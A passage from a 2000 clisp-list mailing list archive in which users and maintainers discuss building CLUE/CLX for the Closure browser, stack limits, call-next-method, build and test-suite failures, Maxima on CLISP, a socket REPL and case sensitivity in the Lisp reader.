   (event-mask         :type mask32
		       :initform #.(make-event-mask :exposure)
		       :reader   contact-event-mask) ; setf defined below
   
   (state              :initform :mapped
		       :type (member :withdrawn :managed :mapped)
		       :reader contact-state) ; setf defined below
   
   (sensitive          :initform :on
		       :type (member :off :on)
		       :reader contact-sensitive) ; setf defined below
   
   (x                  :type int16
		       :initform 0
		       :reader contact-x)
   
   (y                  :type int16
		       :initform 0
		       :reader contact-y)
   
   (width              :type card16
		       :initform 0
		       :reader contact-width)
   
   (height             :type card16
		       :initform 0
		       :reader contact-height)
   
   (border-width       :type card16
		       :initform 1
		       :reader contact-border-width)

   (initialization :type (or (member :destroy) list)) ; internal slot for window initialization and destruction
   
   ;; Class allocated slots
   (compress-motion    :initform :on :type (member :off :on)
		       :reader contact-compress-motion
		       :allocation :class)
   
   (compress-exposures :initform :off :type (member :off :on)
		       :reader contact-compress-exposures
		       :allocation :class
		       ))
  (:documentation "Basic contact using parent's window")
  (:resources
   (screen :type (or null card8))	;Selects screen when parent is a display
   ;; Slots
   name
   callbacks
   event-translations
   event-mask
   state
   sensitive
   x y width height border-width
   ))

CLOS is new to me, but it seems that CLISP has read a class defined for
xlib:window elsewhere, for which it wants the direct-superclass of
xlib:window to be standard-class.  Or perhaps merely presumed that it
shoud have, hence the error.  I don't have the results on hand, but
cmucl-18a did not complain about this error, granted they have a pcl
implementation, not a native CLOS. 

A comment in clue/clos-patch.lisp referred to the macro def-clx-class
in clx/depdefs.lsp 
which has a controlling variable *def-clx-class-use-defclass*.  I
changed this so the macro would use defclass, assuming that it would
then resolve the superclasses in the usual way.  This has not worked.

How does one add the direct-superclass that the compiler/reader
wants for DEFCLASS BASIC-CONTACT.

(a) so that I can see if this will work (the local band-aid to make it
					     go),
and

(b) so that clx does the right thing in general
	(find where in the clx code this is defined,
	 and study how to make xlib:window fit into CLOS's preferred
	 standard class hierarchy.)


(b) is the preferred solution, but it might not be immediately
feasible today.  Ideally (a) and (b) would be equivalent.  It seems
that there might be a way to add the needed 
superclass, but I don't yet know what it is (not knowing CLOS).
If someone, perhaps who has been through this before, could point me
in the right direction, that would be appreciated.


			Thanks,
			John R. Towler
			

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On Wed, 20 Sep 2000 12:30:33 -0500, John Towler <jtowler@pconline.com>
wrote:

> I am trying to build the closure browser.  A prerequisite is building
> clue, a port of which is included in the src for closure.  The system
> is a sparc-sun-sunos4.1.4.  The current Lisp for this project is CLISP
> (2000-03-06).  The provided Makefiles and run scripts did not quite

Which CLX implementation do you use with CLISP to build CLUE for Closure?
MIT CLX or NCLX by Gilbert Baumann? NCLX is known not to work with
CLUE/CLIO. You may try building the system with MIT CLX.


Paolo
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MIT CLX 5.0, 
5.02 compiles but even with a restarted X, complains about .Xauthority
(already generated) to run the $clxtop/demo code. 
I want to get the thing running more quickly for the moment.  


There were an host of declarations in #'read/write-sequence-* along
the lines of 
(defun ...
(declare (type (or null (function (character) t)) transform)
	   #+clx-ansi-common-lisp
	   (dynamic-extent transform)
...
(if transform
    (flet (((card8->char->transform (v)
	       (declare (type card8 v))
		#+clx-ansi-common-lisp
		(declare (dynamic-extent #'card8->char->transform))
	       (funcall transform (card8->char v))))
...]

where the #+clx-ansi-common-lisp (declare ... ) had to be moved up to
precede the (funcall transform ... ).  (Unless they meant something
else and I got it wrong.)  One or two instances of redefining type
boolean as well.  The changes I made are included below.

			John Towler

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John Towler writes:

> I want to get the thing running more quickly for the moment.  

Then you might try CMUCL instead of CLISP.

> There were an host of declarations in #'read/write-sequence-* along
> the lines of 
> (defun ...
> (declare (type (or null (function (character) t)) transform)
> 	   #+clx-ansi-common-lisp
> 	   (dynamic-extent transform)
> ...
> (if transform
>     (flet (((card8->char->transform (v)
> 	       (declare (type card8 v))
> 		#+clx-ansi-common-lisp
> 		(declare (dynamic-extent #'card8->char->transform))
> 	       (funcall transform (card8->char v))))
> ...]
> 
> where the #+clx-ansi-common-lisp (declare ... ) had to be moved up to
> precede the (funcall transform ... ).

I don't think your patch is correct. For a 'dynamic-extent' declaration to
have an effect here, it should be a "bound declaration" (CLHS term),
which means that it should occur at the beginning of the 'flet' body.

> One or two instances of redefining type
> boolean as well.

I thought this were fixed by the following patch:

    1998-08-01  Bruno Haible  <haible@ilog.fr>

        * clx/mit-clx/package.lsp: Shadow BOOLEAN and don't export it.

What error messages did you see?

> ! (defvar *def-clx-class-use-defclass* #+Genera t #-Genera '(clisp cltl2)
> ! 								

This piece of patch is broken. Neither 'clisp' not 'cltl2' is a type name.

> ! #-(and (or GCL AKCL) (not PCL)) ;; You may remove this line for CLISP with native CLOS.

Why do you add GCL here? It is useless, because GCL has AKCL in its
*features* list.

I agree that CLISP should define XLIB:WINDOW etc. as classes, not
structs, so that CLOSURE works. Can you send a minimal, tested patch
please?

Bruno

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I trying to do some recursive memory searches.  I have run into a couple of
searches which require large amounts of memory.  I understand that CLISP has
an option of -m to allocate more memory. 

On the NT side, It does not seem to work at all.  On NT, I get about 2000
levels down before "Program Stack Overflow. RESET" regardless of the value
by option -m.  

RedHat Linux seem to have a limit too.  The -m10m gives me about 8000
levels, -m20m gives me about 9500 levels,  and -m40m has the same limit as
-m20m.   

How do I get more memory of CLISP to use?  Or is there a bigger concept that
I am missing?

Thanks in Advance
Randy  

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For using large amounts of memory, use:

clisp -W

It's a bit slower, though.

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Justice, Randy writes:
> 
> I trying to do some recursive memory searches.  I have run into a couple of
> searches which require large amounts of memory.  I understand that CLISP has
> an option of -m to allocate more memory. 
> 
> On the NT side, It does not seem to work at all.  On NT, I get about 2000
> levels down before "Program Stack Overflow. RESET" regardless of the value
> by option -m.  
> 
> RedHat Linux seem to have a limit too.  The -m10m gives me about 8000
> levels, -m20m gives me about 9500 levels,  and -m40m has the same limit as
> -m20m.   
> 
> How do I get more memory of CLISP to use?  Or is there a bigger concept that
> I am missing?

CLISP cannot give you more than the default stack size of the
operating system, because the operating system generally doesn't allow
it. On Windows, the stack size needed by a program must be hardwired
in the executable (lisp.exe). On Unix, the maximum stack size is
changeable through the 'ulimit' shell builtin; its use might require
superuser privileges.

Therefore all you can do is
  a) prefer iteration over recursion when you are iterating through
     long lists,
  b) compile your lisp programs, then they eat less stack,
  c) become superuser and use "ulimit -s" to change the stack size,
     then su back to your normal identity and start clisp.

Bruno

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Ricardo Aler Mur writes:
> For using large amounts of memory, use:
> 
> clisp -W

That's a noop today. The "-W" option has effectively been eliminated
in the 1998-09-09 release.

Bruno

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Hello!

I have been using clisp with a extension called clg (it let to use the
gtk functions in lisp) and it runs OK but it doesn't free the lisp
listener. I don't know if this is because the clg or the clisp.

Can anyone know any about it?
If it is because clisp, is there any function that set the listener free?

Thanks

Gerardo Sarria


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>>>>> "rj" == Justice, Randy -CONT <Randy.Justice@cnet.navy.mil> writes:

  rj> How do I get more memory of CLISP to use? Or is there a bigger
  rj> concept that I am missing?

you may be running into operating system limits on stack size. Try
increasing them using `ulimit' on linux+bash (don't know the NT
equivalent). 

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>>>>> "John" == John Towler <jtowler@pconline.com> writes:

    John> MIT CLX 5.0, 
    John> 5.02 compiles but even with a restarted X, complains about .Xauthority
    John> (already generated) to run the $clxtop/demo code. 

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.Xauthority.  If your $DISPLAY is :0.0, .Xauthority has entries
like

<host>/unix:0 MIT-MAGIC-COOKIE-1  <key>

and CLX doesn't know how to interpret this.

The version of CLX in CMUCL has code that understands this.

Ray

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> Date: Fri, 29 Sep 2000 09:38:17 -0500 (COT)
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> Hello!
> 
> I have been using clisp with a extension called clg (it let to use the
> gtk functions in lisp) and it runs OK but it doesn't free the lisp
> listener. I don't know if this is because the clg or the clisp.
> 
> Can anyone know any about it?
> If it is because clisp, is there any function that set the listener free?


CLG does some magic with CMUCL to make sure that the listener is
"freed".  I do not know whether you could do the same with CLisp,
although I suppose so.

Cheers


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In CLISP, call-next-method is a macro and not a function, which is a
documented feature.  This causes some problem to me and I don't know how
to solve it cleanly.

In ANSI Common Lisp, I can do the following:

 (defclass foo ()
   ((z :initarg :z)
    (bar :initarg :bar)))

 (defmethod initialize-instance ((instance foo) &rest initargs &key x y)
   (if (and x y)
     (apply #'call-next-method instance :z (sqrt (+ (* x x) (* y y))) initargs)
     (call-next-method)))

I don't know how to perform the `apply' call in CLISP.  Is it possible
by some trick or can I use another approach to the class instance
initialization, which is not worse than using the initialize-instance
method?

Thanks for any advice.

Milan Zamazal

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Milan Zamazal writes:
> In CLISP, call-next-method is a macro and not a function, which is a
> documented feature.  This causes some problem to me and I don't know how
> to solve it cleanly.
> 
> In ANSI Common Lisp, I can do the following:
> 
>  (defclass foo ()
>    ((z :initarg :z)
>     (bar :initarg :bar)))
> 
>  (defmethod initialize-instance ((instance foo) &rest initargs &key x y)
>    (if (and x y)
>      (apply #'call-next-method instance :z (sqrt (+ (* x x) (* y y))) initargs)
>      (call-next-method)))

This is fixed in the newest clisp snapshots, e.g.
   ftp://cellar.goems.com/pub/clisp/clisp-snap.tgz

> I don't know how to perform the `apply' call in CLISP.  Is it possible
> by some trick

I don't think so.

Bruno

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Milan Zamazal schrieb:
>  (defmethod initialize-instance ((instance foo) &rest initargs &key x y)
>    (if (and x y)
>      (apply #'call-next-method instance :z (sqrt (+ (* x x) (* y y))) initargs)
>      (call-next-method)))
> 
> I don't know how to perform the `apply' call in CLISP.  Is it possible
> by some trick or can I use another approach to the class instance
> initialization, which is not worse than using the initialize-instance
> method?

as long as there are no lexvars involved I would do:
  (eval (list 'call-next-method instance :z (sqrt (+ (* x x) (* y y)))
initargs))
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Hello.

While trying to build the latest CLISP version
on a Red Hat Linux 7 box I have got the
following messages:

=================================
[...]
Test failed.
To see which tests failed, type
    cat *.erg
make[1]: *** [compare] Error 1
make[1]: Leaving directory `/home/romildo/rpms/BUILD/clisp-2000-03-06/build/suit
e'
make: *** [testsuite] Error 2
=================================

"cat build/suit/*.erg" gives me

Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*)
CORRECT: CHARACTER
CLISP: (OR CHARACTER INTEGER)

Any hints?

Romildo
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Universidade Federal de Ouro Preto
Brasil

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I don't know if this will help...  
I used the source tar... everything went "ok"....

Best of luck....

Randy 

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Hello.

While trying to build the latest CLISP version
on a Red Hat Linux 7 box I have got the
following messages:

=================================
[...]
Test failed.
To see which tests failed, type
    cat *.erg
make[1]: *** [compare] Error 1
make[1]: Leaving directory
`/home/romildo/rpms/BUILD/clisp-2000-03-06/build/suit
e'
make: *** [testsuite] Error 2
=================================

"cat build/suit/*.erg" gives me

Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*)
CORRECT: CHARACTER
CLISP: (OR CHARACTER INTEGER)

Any hints?

Romildo
-- 
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Departamento de Computação
Universidade Federal de Ouro Preto
Brasil
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> * In message <20001016092331.G3594@urano.iceb.ufop.br>
> * On the subject of "[clisp-list] Failure building clisp in Red Hat Linux 7"
> * Sent on Mon, 16 Oct 2000 09:23:31 -0200
> * Honorable José Romildo Malaquias <romildo@urano.iceb.ufop.br> writes:
>
> "cat build/suit/*.erg" gives me
> 
> Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*)
> CORRECT: CHARACTER
> CLISP: (OR CHARACTER INTEGER)

this has been fixed in the latest development sources.
thanks for reporting the bug.

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    Hello,

    Has someone tried to do this?

    Thanks.
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Maybe this is not the place for this message. If so, I appologize.

This weekend I got maxima to run in my alpha machine under clisp and as
far as I went, it likes whatever I tryed (weel only very basic stuff, but
it seems to work).

It this the right place to post the patch file?

thanks,
-j

Here is a test output.

CLISP 2000-03-06 (March 2000)
Maxima 5.4 Thu Mar 25 16:49:44 CST 1999 (with enhancements by W.
Schelter).
Licensed under the GNU Public License (see file COPYING)
(C1) f(x):=x^2+y;
					 2
(D1) 			        F(X) := X  + Y
(C2) f(2);
(D2) 				     Y + 4
(C3) ev(f(2),y:7);
(D3) 				      11
(C4) integrate(f(x),x,1,2);
			       6 Y + 8	 3 Y + 1
(D4) 			       ------- - -------
				  3	    3
(C5) factor(%);
				    3 Y + 7
(D5) 				    -------
				       3
(C6) f(x):=sin(x)^2+1;
					 2
(D6) 			      F(X) := SIN (X) + 1
(C7) f(x+1);
				   2
(D7) 			        SIN (X + 1) + 1
(C8) diff(f(x),x);
(D8) 			        2 COS(X) SIN(X)
(C9) g(y,z):=f(z)+3*y;
(D9) 			     G(Y, Z) := F(Z) + 3 Y
(C10) ev(g(2*y+z,-0.5),y:7)
(D10) 			 3 (Z + 14) + 1.22984884706593
(C11)h(n):=sum(i*x^i,1,0,n);					 I
(D11) 			  H(N) := SUM(I X , I, 0, N)
(C12) h(7);
		     7	    6	   5	  4	 3      2
(D12) 		  7 X  + 6 X  + 5 X  + 4 X  + 3 X  + 2 X  + X
(C13) functions;
(D13) 			     [F(X), G(Y, Z), H(N)]
(C14) t[n](x):=ratexpand(2*x*t[n-1](x)-t[n-2](x));
(D14) 		 T (X) := RATEXPAND(2 X T     (X) - T	  (X))
		  N			 N - 1	     N - 2
(C15) t[0](x):=1;
(D15) 				  T (X) := 1
				   0
(C16) t[1](x):=x;
(D16) 				  T (X) := X
				   1
(C17) t[4](y);
				   4	  2
(D17) 			        8 Y  - 8 Y  + 1
(C18) g[n](x):=sum(ev(x),i,n,n+2);
(D18) 		       G (X) := SUM(EV(X), I, N, N + 2)
			N
(C19) h(n,x):=sum(ev(x),i,n,n+2);
(D19) 		      H(N, X) := SUM(EV(X), I, N, N + 2)
(C20) g[2](i^2);
					2
(D20) 				     3 I
(C21) h(2,i^2);
(D21) 				      29
(C22) p[n](x):=ratsimp(1/2^n*n!)*diff((x^2-1)^n,x,n));
				    1	       2     N
(D22) 		 P (X) := RATSIMP(----- DIFF((X  - 1) , X, N))
		  N		   N
				  2  N!
(C23)q(n,x):=ratsimp(1/2^n*n!)*diff((x^2-1)^n,x,n)); 
				     1	        2     N
(D23) 	        Q(N, X) := RATSIMP(----- DIFF((X  - 1) , X, N))
				    N
				   2  N!
(C24) p[2];
					    2
					 3 X  - 1
(D24) 			     LAMBDA([X], --------)
					    2
(C25) p[2](y+1);
					 2
				3 (Y + 1)  - 1
(D25) 			        --------------
				      2
(C26) q(2,y);
				      2
				   3 Y  - 1
(D26) 				   --------
				      2
(C27) p[2](5);
(D27) 				      37
(C28) f[i,j](x,y):=x^i+y^j
					    I	 J
(D28) 			    F	 (X, Y) := X  + Y
			     I, J
(C29) g(fun,a,b):=PRINT(FUN," applied to ",A," and ",B," is ",FUN(A,B));
(D29) G(FUN, A, B) := PRINT(FUN, " applied to ", A, " and ", B, " is ", FUN(A, B))

(C30) G(F[2,1],SIN(%PI),2*C);
 		    2
LAMBDA([X, Y], Y + X )  applied to  0  and  2 C  is  2 C 
(D30) 				      2 C
(C31) romberg(sin(y),y,1,%pi);
(D31) 			       1.540302306426815
(C32) quit();




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> * In message <Pine.LNX.4.10.10010161659200.1079-100000@SanchoPanza.epi.mcgill.ca>
> * On the subject of "[clisp-list] maxima on clisp"
> * Sent on Mon, 16 Oct 2000 17:46:42 -0400 (EDT)
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>
> This weekend I got maxima to run in my alpha machine under clisp and
> as far as I went, it likes whatever I tryed (weel only very basic
> stuff, but it seems to work).
> 
> It this the right place to post the patch file?

You should also send it to
Bill Schelter <wfs@math.utexas.edu>

did you use my patches or is this completely independent?

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On 16 Oct 2000, Sam Steingold wrote:

> >
> > This weekend I got maxima to run in my alpha machine under clisp and
> > as far as I went, it likes whatever I tryed (weel only very basic
> > stuff, but it seems to work).
> > 
> > It this the right place to post the patch file?
> 
> You should also send it to
> Bill Schelter <wfs@math.utexas.edu>
> 
> did you use my patches or is this completely independent?
> 

Dear Sam,
nothing is completely independent nowdays, but I didn't try your patches.
However, I'd like to see them. Where can I obtain the file(s). What I did
was to start with an old version of maxima (because it showed fewer errors
at compiling time), then I downloaded maxima from the  cvs sources and I
tryed to do the same.


The recipe:
copy the patch file inside "maxima/src" and ungzip it, then move
"makefile" to "makefile.orig". The patch creates a "Makefile". Edit
the first lines of that Makefile to reflect your system and that's it.
After typing "make" and before installing it you may like to try
"./maxima". Some things are not yet, e.g., debug refuses to work.

Best regards,
-j


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On Mon, Oct 16, 2000 at 10:57:45AM -0400, Sam Steingold wrote:
> > * Honorable José Romildo Malaquias <romildo@urano.iceb.ufop.br> writes:
> >
> > "cat build/suit/*.erg" gives me
> > 
> > Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*)
> > CORRECT: CHARACTER
> > CLISP: (OR CHARACTER INTEGER)
> 
> this has been fixed in the latest development sources.
> thanks for reporting the bug.

Does latest development sources mean CVS repository?

I am not a CLISP experienced user. So, tell me, is
the latest development sources "stable enough" for
use, or should I wait for the next release (which
time I do not have any idea)?

If it is not usable, is (or would be) there a patch
that fixes the mentioned problem in the latest
released version?

PS: I am needing CLISP to run Common Music.

Thanks.

Romildo
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> * In message <20001017074113.A2720@urano.iceb.ufop.br>
> * On the subject of "Re: [clisp-list] Failure building clisp in Red Hat Linux 7"
> * Sent on Tue, 17 Oct 2000 07:41:13 -0200
> * Honorable José Romildo Malaquias <romildo@urano.iceb.ufop.br> writes:
>
> Does latest development sources mean CVS repository?

yes.

> I am not a CLISP experienced user. So, tell me, is
> the latest development sources "stable enough" for
> use, or should I wait for the next release (which
> time I do not have any idea)?

it's stable enough for me on Solaris.
I can give no assurances for other platforms, but I do not expect any
problems there either.


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<html><head><meta Name='keywords' Content='commtouch, pronto, mail, free email, free, branded, web based, free web based email, communications, internet, software, advertising banners, e-mail, free software'></head><body   ><div align='left'><font   ><blockquote><blockquote><TT>Marco Antoniotti wrote:<BR>
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&gt;CLG does some magic with CMUCL to make sure that<BR>
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Ok, so I have decided to try CLG with CMUCL, but<BR>
something goes wrong in the ./configure proccess,<BR>
the README from CLG says that CMUCL should be<BR>
compiled with the &quot;-rdynamic&quot; option, so I used<BR>
that option in the compilation proccess and it<BR>
seems to compile ok, but the &quot;make install&quot;<BR>
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CMUCL installed) and the sources to compile came<BR>
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> So, tell me, is the latest development sources "stable enough" for
> use, or should I wait for the next release

The current clisp CVS should be approximately as good as the last release.

> PS: I am needing CLISP to run Common Music.

For that purpose, you can ignore the testsuite failure and use the
released version nevertheless.

    Bruno

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I've had a problem building clisp-2000-06-03 from source on a Slackware
Linux 7.0 system. I got the source from ftp://ftp.tu-darmstadt.de/pub/
/programming/languages/lisp/clisp/sources. I followed the installation
instructions (I hope) to the letter, not doing anything out of the
ordinary. When I gave the command `make check' (the variant of the
make of `Installation on Unix' step 7 printed out at the end of
`./configure'), the build continues for quite a while and then stops
with the messages:

Compiling file /usr/local/src/clisp/clisp-2000-03-06/src/gstream.lsp ...
*** - EVAL: variable #:G24996 has no value
make: *** [gstream.fas] Error 1

I'll now install the ready-built binary, as I probably should have
done in the first place, but thought my experience would be of
interest to someone. I don't subscribe to clisp-list so, if
you wish me to read a reply, please Cc. me your E-mail.

John A. Murdie
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John A. Murdie writes:

> When I gave the command `make check' (the variant of the
> make of `Installation on Unix' step 7 printed out at the end of
> `./configure'), the build continues for quite a while and then stops
> with the messages:
> 
> Compiling file /usr/local/src/clisp/clisp-2000-03-06/src/gstream.lsp ...
> *** - EVAL: variable #:G24996 has no value
> make: *** [gstream.fas] Error 1

It's hard to guess what causes this serious error. Maybe you can try
removing C compiler optimization options, or compile with -DSAFETY=3;
see the end of unix/PLATFORMS for some more ideas.

What C compiler is your system using (gcc -v), and did you give any
special optimization options?

Bruno

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hi,

does anyone have a fault-tolerant REPL that can listen to a socket
with CLISP?  Ideally it should not hang on the socket but use
a select()-alike thing to only be activated when there is actual
data coming.

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> * In message <Pine.SOL.4.21.0011041808440.12160-100000@apal.ii.uib.no>
> * On the subject of "[clisp-list] REPL listening to a socket"
> * Sent on Sat, 4 Nov 2000 18:12:22 +0100 (MET)
> * Honorable Stig Erik Sandoe <stig@ii.uib.no> writes:
>
> does anyone have a fault-tolerant REPL that can listen to a socket
> with CLISP?  Ideally it should not hang on the socket but use a
> select()-alike thing to only be activated when there is actual data
> coming.

what exactly is it what you want?

what's wrong with (print (eval (read socket)))?

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Stig Erik Sandoe writes:
 > hi,
 > 
 > does anyone have a fault-tolerant REPL that can listen to a socket
 > with CLISP?  Ideally it should not hang on the socket but use
 > a select()-alike thing to only be activated when there is actual
 > data coming.
Not quite as good as select, but take a look at server.lisp in
http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/clocc/src/donc/?cvsroot=clocc

That's one of the trivial examples as I recall.

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On Sat, 4 Nov 2000, Don Cohen wrote:

> Stig Erik Sandoe writes:
>  > hi,
>  > 
>  > does anyone have a fault-tolerant REPL that can listen to a socket
>  > with CLISP?  Ideally it should not hang on the socket but use
>  > a select()-alike thing to only be activated when there is actual
>  > data coming.

> Not quite as good as select, but take a look at server.lisp in
> http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/clocc/src/donc/?cvsroot=clocc
> 
> That's one of the trivial examples as I recall.

I already had it, but had apparently given a bad wait-parameter to
it.  It now works nicely except for one thing, it is strangely picky
about who it accepts connections from:

telnet localhost 7666   ; is not acceptable
telnet 192.168.1.1 7666 ; is acceptable (where this is the ip)

weird :-)

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Stig Erik Sandoe writes:
 > On Sat, 4 Nov 2000, Don Cohen wrote:
 > 
 > > Stig Erik Sandoe writes:
 > >  > hi,
 > >  > 
 > >  > does anyone have a fault-tolerant REPL that can listen to a socket
 > >  > with CLISP?  Ideally it should not hang on the socket but use
 > >  > a select()-alike thing to only be activated when there is actual
 > >  > data coming.
 > 
 > > Not quite as good as select, but take a look at server.lisp in
 > > http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/clocc/src/donc/?cvsroot=clocc
 > > 
 > > That's one of the trivial examples as I recall.
 > 
 > I already had it, but had apparently given a bad wait-parameter to
 > it.  It now works nicely except for one thing, it is strangely picky
 > about who it accepts connections from:
 > 
 > telnet localhost 7666   ; is not acceptable
 > telnet 192.168.1.1 7666 ; is acceptable (where this is the ip)
 > 
 > weird :-)

Localhost is actually 127.0.0.1 and the clisp socket is not listening 
for that address.
There are many controls in the underlying socketh mechanism that are
not available from clisp.  I'm sure it would be helpful to certain
users (inc. me) to add those controls to the lisp interface.  I'm also 
sure it would be a lot of trouble.  



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When I use "clisp" in "emacs" in my Windows 98, I have the following
error message
    "(ERROR_BAD_NETPATH) The network path was not found"

Anyone can tell me how to avoid that?



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Hi,

I do not know how many people here have been following the current
debate on C.L.L. regarding the issue of the case sensitive reader.

I believe this is not going away and that it is something we need to
deal with.  Franz has posed a problem and IMHO - in spite of the ANSI
standard - the users and implementors of the (two) major "open source"
implementations need to come up with a decent and well thought-out
response.

I surely do not have the expertise and the knowledge to pinpoint all
the issues in the major "open source" implementations, but I would
like to volunteer to two things:

1 - a straw poll about whether a "case sensitive" reader would be a
    good thing.
2 - what would be the "cost to implementors" (of - at least CMUCL and
    CLisp) -- e.g. what would it take to change all internal symbols
    to lower case.
3 - whether the change could be accommodated without changing too much
    the ANSI standard.  I.e. how the change can be accommodated in
    such a way to allow strict ANSI programs to be accepted.
4 - if the ANSI standard needed to be changed, then how should a
    consensus be reached, so that it somehow binds the implementors to
    the set of agreed upon choices.

I do this because I value the ANSI standard and all the good that has
come out of it, while at the same time I do understand the points made
by the case-sensitivity supporters.

Cheers 

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> * In message <3A07002B.CE33FFD2@cica.es>
> * On the subject of "[clisp-list] Re: A problem with Windows"
> * Sent on Mon, 06 Nov 2000 20:02:03 +0100
> * Honorable Francisco Jesús Martín Mateos <fjesus@cica.es> writes:
>
> When I use "clisp" in "emacs" in my Windows 98, I have the following
> error message
>     "(ERROR_BAD_NETPATH) The network path was not found"
> 
> Anyone can tell me how to avoid that?

could you please be more specific?
what are you doing in Emacs?
(like, which variable do you set, what do you type, what is the exact
contents of the *Backtrace* buffer when you set debug-on-error to t)

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>1 - a straw poll about whether a "case sensitive" reader would be a
>    good thing.

I learnt lisp using FranzLisp, so I tend to prefer the idea to case
insensitivity.

I always used normal lower-case-with-hyphens symbol names though, I
just prefer seeing the same symbols that I have typed in.

I can see Kent Pitman's argument that you can hide FFI calls in code
like:

 (defun make-string-i/o-port (...) (jcall "MakeStringIOPort" ...))

but you still have to remember two sets of symbols or invent a strict
conversion algoritm.

I have written quite a lot of Motif code in C, but I haven't used CLM
much since I can't remember how to map from the Motif function names
to the CLM equivalents.

>2 - what would be the "cost to implementors" (of - at least CMUCL and
>    CLisp) -- e.g. what would it take to change all internal symbols
>    to lower case.

I once did this for AKCL - converted all the built in symbols to lower
case and added the extra CLTL2 readtable functionality.

It wasn't all that much work to do the change, I probably spent more
time getting various packages to work.

The kinds of things that break in user code are the ones raised in
c.l.l - packages and code that does (format nil "FOO-~A" bar) to
create symbols.

I think I stopped using it because of problems with Garnet.

>3 - whether the change could be accommodated without changing too much
>    the ANSI standard.  I.e. how the change can be accommodated in
>    such a way to allow strict ANSI programs to be accepted.


>4 - if the ANSI standard needed to be changed, then how should a
>    consensus be reached, so that it somehow binds the implementors to
>    the set of agreed upon choices.

Robert Swindells

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>>>>> "Robert" == Robert Swindells <rjs@fdy2.demon.co.uk> writes:

    Robert> I always used normal lower-case-with-hyphens symbol names though, I
    Robert> just prefer seeing the same symbols that I have typed in.

Same, but I don't care what case the symbols are print in, because I
know Lisp is uppercase.

    Robert> I can see Kent Pitman's argument that you can hide FFI calls in code
    Robert> like:

    Robert>  (defun make-string-i/o-port (...) (jcall "MakeStringIOPort" ...))

    Robert> but you still have to remember two sets of symbols or invent a strict
    Robert> conversion algoritm.

What are you going to do about C++ name mangling?  What about Fortran?
I've used different Fortran compilers whose resulting linker names had
a prepended underscore, an appended underscore, or was in uppercase.
Using case here only solves part of the problem.

Of course, you can always use |MakeStringIOPort| as your Lisp function
if you like.  Then you only have to remember to put || around your
Lisp functions.

I think FFI is a totally separate issue from case.

Ray

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Marco Antoniotti writes:

> I do not know how many people here have been following the current
> debate on C.L.L. regarding the issue of the case sensitive reader.
> 
> I believe this is not going away and that it is something we need to
> deal with.

Yes. Thanks for your initiative.

> Franz has posed a problem

IMO, Franz has given an answer to a problem that has been haunting us
for years.

> 1 - a straw poll about whether a "case sensitive" reader would be a
>     good thing.

YES. The debate whether case sensitiveness in languages is over. The
model presented by all other mainstream languages (except Pascal) has
proven to be good.

Three things are involved:

  - How to turn it on for selective packages?
    (There are packages out there, like the Kenzo package, which
    are partially written in upper case and therefore rely on the
    traditional ANSI CL behaviour.) CLISP has been implementing the
    following for three years:

    MAKE-PACKAGE and IN-PACKAGE accept a keyword argument :CASE-SENSITIVE.
    Similarly, DEFPACKAGE accepts an option :CASE-SENSITIVE. When its value is
    non-NIL, the package will be case sensitive, i.e. the reader will not
    case-convert symbol names before looking them up or creating them in this
    package. The package names are still subject to (READTABLE-CASE *READTABLE*),
    though.

  - How to turn it on for the standardized packages (CL, CL-USER etc.)

  - How to turn it on for the package names?

Which *features* should be standardized to indicate one or the other?

> 2 - what would be the "cost to implementors" (of - at least CMUCL and
>     CLisp) -- e.g. what would it take to change all internal symbols
>     to lower case.

It depends on whether two distinct images are acceptable, or whether
the switching should be doable at runtime.

> 4 - if the ANSI standard needed to be changed, then how should a
>     consensus be reached, so that it somehow binds the implementors to
>     the set of agreed upon choices.

Ask Rainer Joswig if there is currently a group working on
standardization. If not, it is (IMO) best done by communication among
implementor groups.

Bruno

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   From: Bruno Haible <haible@ilog.fr>
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   > 1 - a straw poll about whether a "case sensitive" reader would be a
   >     good thing.

   YES. The debate whether case sensitiveness in languages is over.

No, it isn't.  If you say "yes, it is" that will demonstrate that in
fact there is still debate.  I think Lisp should be left alone.  Lisp
does a lot of things right that other languages do wrong.  

Among other things, I use Lisp via dictation, and getting case right in
dictation is a real pain.

				Ken

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How do I subscribe to this list. The clisp-list is hard (for me) to find

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> * In message <3A084453.44170FB0@lutecium.org>
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Jacques B. Siboni writes:
> How do I subscribe to this list. The clisp-list is hard (for me) to find

On the clisp homepage (http://clisp.cons.org/) click on "mailing lists".

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On Tue, Nov 07, 2000 at 08:53:25PM +0100, Pierre R. Mai wrote:
> While the standard does indeed provide for a case-sensitive reader,
> this is pretty useless when the symbol-names of implementation
> packages is specified to be UPPER-CASE.  The :invert readtable-case
> was a half-hearted attempt at mitigating that issue, but it's an ugly
> hack, and doesn't really fill the need.

Is the problem here that the uppercase names are considered ugly, 
so that people want not only case-sensitive input, but also
lowercase names? I.e., they want case-sensitive input and also
want to type
  (cl:in-package "myFavoritePackage")
instead of 
  (CL:IN-PACKAGE "myFavoritePackage")
If people expect this, then what I said about the standard supporting
case sensitivity is off base -- if not technically off base, then at
least politically off base!

Perhaps someone should write down all the things which are expected
in a transition. (Perhaps someone already has and I just didn't
notice?) 
  * All reserved words must be lowercase.
  * Erik doesn't want the system to shout at him.
  * Franz wants their customers to have to keep paying no matter
    what happens.
  * [..]

For that matter, maybe someone could also summarize the nastiest
things which will happen if we don't just do something about this, but
work on other stuff instead.
  * Programmers will have trouble writing identifiers in
    non-English scripts -- Kanji, Arabic, Hangul, I dunno..
    I thought this was supposed to be the real problem, but some
    earlier poster seemed to think it wasn't important. Or perhaps 
    I misunderstood him.
  * People will have to use quoted java::|SymbolsLikeThis| for FFIs,
    or else come up with weird name mangling conventions.
  * People will dislike the syntax of the language (pointing out
    that Perl is much prettier:-) and stop using the language.
  * [..]

> Personally I like the migration path that Erik Naggum has repeatedly
> set out on c.l.l, like e.g. in message <3182561860085563@naggum.net>
> of today:  Separate the move to case-sensitive lower mode into two
> steps, by moving to lower-case symbol-names, and a case-insensitive
> reader (via readtable-case and print-case set to :downcase), which
> will then enable the standard reader controls to just work when
> someone wants to set readtable-case to :preserve, in order to get a
> case-sensitive lower CL.

Would this break old code? Is it worth it to require people to convert
their old
  (export '("A" "B" "C") "D")
code to shiny new
  (export '("a" "b" "c") "d")
code, or to Franz's
  (export '(#:a #:b #:c) #:d)
code?

